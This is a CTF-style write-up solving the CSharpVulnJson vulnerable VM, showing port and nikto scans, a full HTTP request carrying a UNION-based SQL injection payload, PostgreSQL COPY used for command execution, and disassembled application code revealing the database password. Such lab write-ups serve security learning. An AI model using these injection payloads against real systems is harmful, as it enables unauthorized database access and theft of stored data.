Mr_H4sh

Infosec, CTF and more

CSharpVulnJson Solution

In this post I’m going to show you how to solve the CSharpVulnJson VM provided by Brandon Perry.

You can find the VM on this link

192.168.56.102 <== attacker
192.168.56.101 <== victim

A port scan on the victim host gives this:

# nmap -sT -p- -Pn -n -v 192.168.56.101 -T5

Scanning 192.168.56.101 [65535 ports]
Discovered open port 80/tcp on 192.168.56.101
Completed Connect Scan at 10:14, 5.81s elapsed (65535 total ports)
Nmap scan report for 192.168.56.101
Host is up (0.00034s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

I go to http://192.168.56.101:80 and this is what I find:

screenshot_1

I make some test to understand what the page does, then I run a scan with nikto to make further discovery:

# nikto -h 192.168.56.101

+ Server: Apache/2.4.7 (Ubuntu)
+ Cookie ASP.NET_SessionId created without the httponly flag
+ Retrieved x-aspnet-version header: 4.0.30319
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /bin/: Directory indexing found.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.

I see that in http://192.168.56.101:80/bin there are 3 files:

screenshot_2

Newtonsoft.Json.dll
ch2_vulnerable_json_endpoint.dll   
ch2_vulnerable_json_endpoint.dll.mdb

I check what in there, and I find out that the backend system connect to the database using Npgsql, which is a .Net framework used to communicate with a database. The Database is called vulnerable_json and it has all the users into a table called users.

I find out that the field txtUserList is vulnerable to SQL Injection:

POST /Vulnerable.ashx HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Referer: http://192.168.56.101/
Content-Length: 109
Cookie: ASP.NET_SessionId=898591F9E4263FC4BEB9333C
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


{"username":"a' UNION ALL SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_name != '","method":"list"} 

I do some testing and I understand that the database is PostgreSQL.

I start digging into the system using queries as shell commands with the COPY function of postgresql, and I find out that the port of postgresql is 5432 and for the authentication it uses 2 certificates: /etc/ssl/certs/ssl-cert-snakeoil.pem and /etc/ssl/private/ssl-cert-snakeoil.key

I have a look at the running processes and I can see that the web application is running with monoserver, and since I have the .dll files coming from the bin folder I disassemble them with monodis, and I find the password of the database.

.assembly extern System.Web
{
  .ver 4:0:0:0
  .publickeytoken = (B0 3F 5F 7F 11 D5 0A 3A ) // .?_....:
}
.assembly extern Newtonsoft.Json
{
  .ver 4:5:0:0
  .publickeytoken = (C7 43 90 20 C8 FE DF 87 ) // .C. ....
}
.assembly extern mscorlib
{
  .ver 4:0:0:0
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern Npgsql
{
  .ver 4:0:0:0
  .publickeytoken = (5D 8B 90 D5 2F 46 FD A7 ) // ].../F..
}
.assembly 'ch2_vulnerable_json_endpoint'
{
  .custom instance void class [mscorlib]System.Diagnostics.DebuggableAttribute::'.ctor'(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) =  (01 00 02 01 00 00 00 00 ) // ........

  .custom instance void class [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::'.ctor'() =  (
    01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx
    63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01       ) // ceptionThrows.

  .hash algorithm 0x00008004
  .ver  0:0:0:0
}
.module ch2_vulnerable_json_endpoint.dll // GUID = {C8C158A0-13E7-4428-856F-F4B7E5391A57}


.namespace ch2_vulnerable_json_endpoint
{
  .class public auto ansi beforefieldinit Global
    extends [System.Web]System.Web.HttpApplication
  {

    // method line 1
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x2050
  // Code size 7 (0x7)
  .maxstack 8
  IL_0000:  ldarg.0 
  IL_0001:  call instance void class [System.Web]System.Web.HttpApplication::'.ctor'()
  IL_0006:  ret 
    } // end of method Global::.ctor

    // method line 2
    .method family hidebysig 
           instance default void Application_Start (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2058
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_Start

    // method line 3
    .method family hidebysig 
           instance default void Session_Start (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x205b
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Session_Start

    // method line 4
    .method family hidebysig 
           instance default void Application_BeginRequest (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x205e
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_BeginRequest

    // method line 5
    .method family hidebysig 
           instance default void Application_EndRequest (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2061
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_EndRequest

    // method line 6
    .method family hidebysig 
           instance default void Application_AuthenticateRequest (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2064
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_AuthenticateRequest

    // method line 7
    .method family hidebysig 
           instance default void Application_Error (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x2067
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_Error

    // method line 8
    .method family hidebysig 
           instance default void Session_End (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x206a
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Session_End

    // method line 9
    .method family hidebysig 
           instance default void Application_End (object sender, class [mscorlib]System.EventArgs e)  cil managed 
    {
        // Method begins at RVA 0x206d
  // Code size 2 (0x2)
  .maxstack 8
  IL_0000:  nop 
  IL_0001:  ret 
    } // end of method Global::Application_End

  } // end of class ch2_vulnerable_json_endpoint.Global
}

.namespace ch2_vulnerable_json_endpoint
{
  .class public auto ansi beforefieldinit Default
    extends [System.Web]System.Web.UI.Page
  {
    .field  family  class [System.Web]System.Web.UI.HtmlControls.HtmlForm form1
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtUsername
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtPassword
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtAge
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtLine1
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtLine2
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtCity
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtState
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtZIP
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtFirst
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtMiddle
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtLast
    .field  family  class [System.Web]System.Web.UI.WebControls.Button btnSubmitNewUser
    .field  family  class [System.Web]System.Web.UI.WebControls.TextBox txtUserList
    .field  family  class [System.Web]System.Web.UI.WebControls.Button btnListUsers

    // method line 10
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x2070
  // Code size 7 (0x7)
  .maxstack 8
  IL_0000:  ldarg.0 
  IL_0001:  call instance void class [System.Web]System.Web.UI.Page::'.ctor'()
  IL_0006:  ret 
    } // end of method Default::.ctor

  } // end of class ch2_vulnerable_json_endpoint.Default
}

.namespace vulnerable_json_sqli
{
  .class public auto ansi beforefieldinit Vulnerable
    extends [mscorlib]System.Object
    implements [System.Web]System.Web.IHttpHandler  {
    .field  private  string _connstr

    // method line 11
    .method public virtual hidebysig newslot specialname 
           instance default bool get_IsReusable ()  cil managed 
    {
        // Method begins at RVA 0x2078
  // Code size 10 (0xa)
  .maxstack 1
  .locals init (
    bool  V_0)
  IL_0000:  nop 
  IL_0001:  ldc.i4.0 
  IL_0002:  stloc.0 
  IL_0003:  br IL_0008

  IL_0008:  ldloc.0 
  IL_0009:  ret 
    } // end of method Vulnerable::get_IsReusable

    // method line 12
    .method public hidebysig specialname rtspecialname 
           instance default void '.ctor' ()  cil managed 
    {
        // Method begins at RVA 0x208e
  // Code size 18 (0x12)
  .maxstack 8
  IL_0000:  ldarg.0 
  IL_0001:  ldstr "Server=127.0.0.1;Port=5432;User Id=postgres;Password=secret;Database=vulnerable_json;"
  IL_0006:  stfld string vulnerable_json_sqli.Vulnerable::_connstr
  IL_000b:  ldarg.0 
  IL_000c:  call instance void object::'.ctor'()
  IL_0011:  ret 
    } // end of method Vulnerable::.ctor

    // method line 13
    .method public virtual hidebysig newslot 
           instance default void ProcessRequest (class [System.Web]System.Web.HttpContext context)  cil managed 
    {
        // Method begins at RVA 0x20a4
  // Code size 653 (0x28d)
  .maxstack 12
  .locals init (
    class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject V_0,
    string  V_1,
    class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject[] V_2,
    string  V_3,
    string  V_4,
    string  V_5,
    string  V_6,
    string  V_7,
    string  V_8,
    string  V_9,
    string  V_10,
    string  V_11,
    string  V_12,
    string  V_13,
    bool  V_14,
    string  V_15,
    bool  V_16)
  IL_0000:  nop 
  IL_0001:  ldarg.1 
  IL_0002:  callvirt instance class [System.Web]System.Web.HttpRequest class [System.Web]System.Web.HttpContext::get_Request()
  IL_0007:  callvirt instance class [mscorlib]System.IO.Stream class [System.Web]System.Web.HttpRequest::get_InputStream()
  IL_000c:  newobj instance void class [mscorlib]System.IO.StreamReader::'.ctor'(class [mscorlib]System.IO.Stream)
  IL_0011:  callvirt instance string class [mscorlib]System.IO.TextReader::ReadToEnd()
  IL_0016:  call class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject::Parse(string)
  IL_001b:  stloc.0 
  IL_001c:  ldloc.0 
  IL_001d:  ldstr "method"
  IL_0022:  callvirt instance class [Newtonsoft.Json]Newtonsoft.Json.Linq.JToken class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject::get_Item(string)
  IL_0027:  call string class [Newtonsoft.Json]Newtonsoft.Json.Linq.JToken::op_Explicit(class [Newtonsoft.Json]Newtonsoft.Json.Linq.JToken)
  IL_002c:  stloc.1 
  IL_002d:  ldloc.1 
  IL_002e:  call bool string::IsNullOrEmpty(string)
  IL_0033:  brfalse IL_004e

  IL_0038:  nop 
  IL_0039:  ldarg.1 
  IL_003a:  callvirt instance class [System.Web]System.Web.HttpResponse class [System.Web]System.Web.HttpContext::get_Response()
  IL_003f:  ldstr "Need to have a method of list, delete, or create"
  IL_0044:  callvirt instance void class [System.Web]System.Web.HttpResponse::Write(string)
  IL_0049:  br IL_028c

  IL_004e:  ldloc.1 
  IL_004f:  ldstr "list"
  IL_0054:  call bool string::op_Equality(string, string)
  IL_0059:  brfalse IL_008c

  IL_005e:  nop 
  IL_005f:  ldarg.0 
  IL_0060:  ldloc.0 
  IL_0061:  ldstr "username"
  IL_0066:  callvirt instance class [Newtonsoft.Json]Newtonsoft.Json.Linq.JToken class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject::get_Item(string)
  IL_006b:  call !!0 class [Newtonsoft.Json]Newtonsoft.Json.Linq.Extensions::Value<string> (class [mscorlib]System.Collections.Generic.IEnumerable`1<class [Newtonsoft.Json]Newtonsoft.Json.Linq.JToken>)
  IL_0070:  call instance class [Newtonsoft.Json]Newtonsoft.Json.Linq.JObject[] class vulnerable_j

So, as we see from the string

ldstr "Server=127.0.0.1;Port=5432;User Id=postgres;Password=secret;Database=vulnerable_json;"`

the password of the user postgres is secret.

The ssh service on the machine is either off or filtered, so I can stop in here.

The author of the VM says that the application has been created to see how all this could be exploitable with sqlmap, which I agree, it saves a lot of time and pain, but sometimes is better trying to understand what a tool does.

Thanks to Brandon Perry for the VM.

Conclusion

As usual, for any information or comment, please do not hesitate to leave a comment.

./A